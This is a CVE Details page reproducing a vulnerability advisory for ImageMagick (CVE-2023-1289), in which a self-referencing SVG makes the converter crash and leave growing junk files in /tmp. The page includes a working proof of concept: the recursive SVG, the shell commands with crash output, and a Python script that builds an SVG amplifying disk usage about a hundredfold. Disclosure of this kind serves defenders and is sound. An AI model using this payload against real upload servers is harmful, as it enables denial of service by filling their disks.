CVE-2023-1289 — Vulnerability in Magick.NET-Q16-AnyCPU — CVE Details

### Summary Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS. ### Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara) ### Tested ImageMagick version 6.9.11-60, 7.1.0-62 ### Details A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file. It seems that this error affects a lot of websites and causes a generating trash files in ```/tmp``` when uploading this PC file to the server. I think it's better to check the file descriptor coming from itself before executing ```read()```. ### PoC 1. Generate SVG file: ```<?xml version="1.0" standalone="yes"?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="bad.svg" /> </svg> ``` 2. Run some commands for verification: ```$rm -f /tmp/* $./magick --version Version: ImageMagick 7.1.0-62 Q16-HDRI x86_64 74b3683a4:20230211 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (7.5) $./magick convert -verbose -font OpenSymbol bad.svg t.jpg 'inkscape' '/tmp/magick-ixX13JwrwrLUhyucKsGxechsQtEN4Zji' --export-filename='/tmp/magick-qp154V6U-dyAwtU-QbcnWD8XKFcG7q5k.png' --export-dpi='96' --export-background='rgb(100%,100%,100%)' --export-background-opacity='1' > '/tmp/magick-YWdlPJt-_9BfRq0uY2vmza_VOxWfjyvl' 2>&1 Segmentation fault $ls /tmp magick-1iZstE-dzlzQTN4HkWX_JlakXXtH4IEM magick-GeFwj8Be_wISDLJnsr4s5WC7p079pzXN magick-s7QN2tTaiXEr9KmkbkHdmtfmgrnjFRaM magick-1LG0ND-RZMQOG8xizDHd-qdd6_Fu70YP magick-ggORXwnSivWesH2gthhafuLTVw7TLqwP magick-s835rBXZIGK5bkp3ijKoMTCbcyWza3ON magick-25byX_oEeEr2dWIkr9nyEoVz1MHC2n9M magick-GrRg60fY1LOv4uUhqD16AaEcL6rWtNeN magick-siS7QS_av31X63ENYmecytIjx1iKmWAN magick-2Dj7LuLUHF6Y93mZ9ZT8a5taf7b5Hb9O magick-gTQUBafZIaI1n8q-QXOwOvyc6qv3tolN magick-SIXvVjWVvDhX1w5NL9K6owJtO0CgG3NN magick-2GrJuPlQjwGwsTK8I1aTMxg90h8PeK4M magick-hik3AU_2x0D_R8ViIBXUIuRljCXSmgqO magick-sJhO2Yv_aeKsxt1JxDENKIiQqkOkSfwM magick-2QIFnR9e-fYRFevd1-vQ-bSk0I1VOAsO magick-HJ18uyG3HLvEftNcMqCEJ5LKwi12CQgO magick-SNgGdhyKjp5TZZQmWqioLEcyQ8vMzG3O magick-2rEueYW0PIXGxE1zHm3LsGedMW2KLdgP magick-hUaNDJgYfzTzJes4QlnLwaYh2fcaOWgQ magick-SxLBCSdKVHSQOrjohe4WFyLHaPOyDUiP magick-2uRqbAjqkXXMMGQHpw8WG18lnDHaRd3N magick-_HWqrSdj_ihWMzjJ_eRiAkKbgrIljhUM magick-t02HQvZSsYLzmJesC2Mpjp5OL3zN4A5P magick-3dPT4h0HzM6ZqCwpGEB69e27pZhHbfHP magick-iEMFbMc2VvGj067miVskUC-mxOveGpqO magick-T4kTJGu-6wF60OOIHOB5tKO63NW5qTTL magick-3SVSiI4Yg_eQ01ZZV8lZsBM_MhauuwpO magick-InCjmKQ7uSGizlJFOZz9Vo3Ax1yvLy5L magick-TGIY7l3-dNVdAbGaMIbN0z3YGy5mrNvM magick-3WQIQghdu9-YHVasNASfkkU63yyVdmfO magick-IPu9YWX3Lk96EkP63KLqQ-CX6020cZMN magick-Thg6M-CqdcXc0SyjRdYm19rtVBLt2U6P magick-4hLf4JPIes67QpGP7GfmOPftGvENC1aN magick-IVKuPYBpBe6Lx9F3lLMAMCjIptMoz0ZM magick-TiTtPZdT3Zgsd-pasyRFTb-DbLGNqJTO magick-4tTMAJrCHh2E8M1xw5BIjx8UDyb42FWM magick-IVzovwQiOR2fwJDO5E5RZb58apCPBX8M magick-_TQZIwyyLufZWMVx1-k3YLSYSsGl6upM magick-4xs5mqt95PYGrXXxZiwyYHFKREC0NEWL magick-J36psEABfkKfgVQdeFsptbkRWT0b1uNP magick-tzMg0NWi-_GQOzES2aPMPRqCk-bgjyVN magick-5DmloHI-m-WPROyfQmm5cF8GOEVa5EqO magick-jEq-Q6t6D3CU-eevjhgfjU_LPP3pOEoO magick-ULNarZD53mUqpJrHZVeZw5x0cuUH683N magick-5JvQUY2vVq_kpzhfUTcsxao_YB2WImZN magick-jNiokVz_0Iifz5QX3a9AUIUOBoxfJ49P magick-uLR13qPG6X-c3avLRypLJ-C7-UiUH9tM magick-5NoXNg55Xyh8816ksKEcqreuN1BF93LO magick-jwa4IVvrxrE4OTSA0m8iB2W3K5LiinmQ magick-uW9khwJZfM4EH1cETVDv09QnueONQGPP magick-60BRKi88--TOk-Sp8t5nAyAxjSuOpxfO magick-K5mhLUCkx0WJxcWr7G7oT0nNrc5qBvgQ magick-v4l3nLHBXBjCNc-nTHSTwUOEfsNCUMnP magick-6t2qB_JnplYLZZo5thj6PV0R15LrPe4L magick-K5qzx3k8-36H5wfEgl3Jy1oNpOyscHhN magick-v7Xm_e5JIf4lCC_CwXJkIuQNHEE7D1LM magick-6_UmuyWO8OviaajA92_VeD1bK8z0btAO magick-K6-l4o2PkC4V7Nq_IJ9y-ifJLl6lSzdM magick-vd7xpM8OrXvu3Oftqd7xdRmGDdoGcHrP magick-725dkkTfpkfKmogI4WLWWwCbrxc0aysP magick-KchLIwf4-ahsUq1FsJfK58j3Jb6CAMTP magick-VhfNmWGF-AOhytm1DMGG8n1DLOAG3p1N magick-7rZG_PFyH2Q7ibxFrB4kTQZjkihhU9uO magick-kpcUuOTI4UlrK8kHoZh38ziLMmBjtjvO magick-vHp_Pz6BixbqmYCq_D2zs2sU4hFRbQoP magick--7T1tmKSEJSSPJIgeDEQ9PLdo8oPh60P magick-kReWGvubeCrLdw4RcRsJdJhlV43wCffM magick-VLoWnTJppgO7-ivh0q_uuGcgPDkuyKPN magick-8jBguKQr6qeZTsw4eFbQWO34ndlsBpbO magick-LBjQNSTFFpLRnj3Cldvjm5e_PWYL1fLL magick-Vp_vOIJK-XsFRZeAS1ZJ9Ra2vkgJbCOL magick-9Hno6LBapbL0jw_CSEC7Ua6A7kB3uYiN magick-Lfu-5C1697AwNxTZnljfR24E2_7ZDnwP magick-VpzT9KMjKbomi6mV3ZnnRkoq1WAP41vM magick-9SN2401usIEYCc6zcn442pdvqyVdPWaQ magick-lHxUfKDHYSfpVi7yOc31u7gJVTXLhSuN magick-vRG2_rcf6I8lB2MJF6DqHqh2_z21IP5N magick-a1uVHLsbEnA8yXKvwmW3PWAFBdnfoSnQ magick-M4mcsykxHPNkFTDgc4tdJ9kP1Trkm64M magick-vw2VNrClFVhnXLqVoIz35Xpo232qsngN magick-AbpJUZcspor3bkYr70l17bGSjntyAhZP magick-m5P0dZWaFUeZo4kr8HcO6vpfuICmmBcM magick-WEYdL0amRHxeCpuGiFEuulRwwzkjZyXO magick-Acsy_QEmT-x7nE6DvfIv2pqjLbfJYTtN magick-MHI0zAFGR1-ljbFLl12i5hFVpkoBbdpN magick-WKjEe_jTF4V6Jt_kCbFEy2B6kQcyFseQ magick-Ai76_QfTBT0DXjGqvZ_aAGia_gvAxuGM magick-mOckd_uEYCLc9gy1XwVgtJWpr1aDU7QP magick-WkkwqgsnNNSleWlRm-1BN8RiE-QcF9lO magick-albf_l7tU2ASh6PRhnMWBDscz31fS1BO magick-MrajCpsti_3MlAWlNviDCY3iUeZsgGLM magick-WMlxV7rdjtMYe1F0aggQZW2WNpvhY2GO magick-A-nsLcvOOBlHzdBGQMSsdTrvsfUevEQO magick-mZyca0hC8atGLvY-m0UYec1yCU3rGIWM magick-wnqAodNT7ZVbe8dIN-Gd2pxCNo6cwzOL magick-AplCAOC7_K6cDM3qO3wqSONMhVuztohO magick-NAH0CgD3XCLMS1VN_-4yju-2RCdFJbGO magick-wP3Q3aM05wB2K6NBolzm6sC_R3b5wE1P magick-ApNw8tmuaXUw-mqdMF7P0ZKOV3YHwQGM magick-NU3oGX5NxUhJvWQ_WWY8-7BNAnHWJceM magick-wsCa-R-K6HYtZ7FWWnPg3FpOyGmS1wuO magick-AWye85xaEc_t6rGB9bIvIz9BBhrRyg3O magick-NZBKgJGx7bH8uZ2PiKF8jtzCI9aBDVZN magick-WvNjMMQ2gXHSGNWCMceMqBL8ksnGZIuO magick-aXtmFaHIdz24xjFvCy4ZQda2wef0AH0N magick-o3FerPGSptnb0U5mHu6DH-00ZTlTlDCO magick-xAPfisi5E9NHJKbkrbCGioXCkTs3uDYM magick-B5uiXH3Mrf0GgmF9NAPwqSJd-lMFLfrM magick-o4Dl5iYn3veI54-lNtHgm6wnAIQ79urP magick-Xb2irJZuxzYWsCfmYHc8oaKU67ANR27N magick-BEr6_VZecWKFCRVuSXPEIbJu6uuBe0pO magick-o9S5taGlSrED8zUEtv0EkpjoWk61fJBO magick-Xkes-Q_QqXhMthGwFKxLjpRvL96qRd6O magick-bKCtVcSkQqtXdjO8X_AyWeocMsYuZArN magick-OeHngPf0pRuDH9DpIs_OpkoAbDnAvBTL magick-xlhsal9kyY6QMOSb1WmyTx1vGTqE94bO magick-Btw2-hfTAVQLiPRMXakrXs_UhstT2ZGM magick-OhD82cIFbY91zGxpIt52AbjWekddAU2L magick-xmmr39PvOExl0B8w0YO_oq2_yYyWoVLM magick-By2_pnDUxk85bO3M7kkMbAEXHGShyc0O magick-OlcHbZjE_-66xMyWVlhfAucxYJioiQ4L magick-xq9qw9wK-TRFokBTostne36jQXljCa7M ... ``` ### Impact Possible DOS, because when ImageMagick crashes it generates a lot of trash files. This trash file can be large, if SVG file contains many render action. ### Additional impact In DOS attack if remount attacker uploads an SVG file of size t, ImageMagick generates files of size 103*t. This means that if an attacker uploads a 100 M SVG, the server will generate about 10 G. Example: ``` $cat dos_poc.py open("bad_dos.svg", "w").write("""<?xml version="1.0"?> <?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" href="bad_dos.svg&quot;""" + "0"*(1024*1021) + """&quot;" /> </svg>""") $rm -rf /tmp/magick-* $python3 dos_poc.py $du -h bad_dos.svg 1,0M bad_dos.svg $../magick convert -font OpenSymbol bad_dos.svg t.jpg Segmentation fault $cat /tmp/magick-* > dos_k.txt $du -h dos_k.txt 103M dos_k.txt ``` P. S. If ImageMagick will work in Docker container this attack will crash server where docker running. Because the size of the docker container will increase.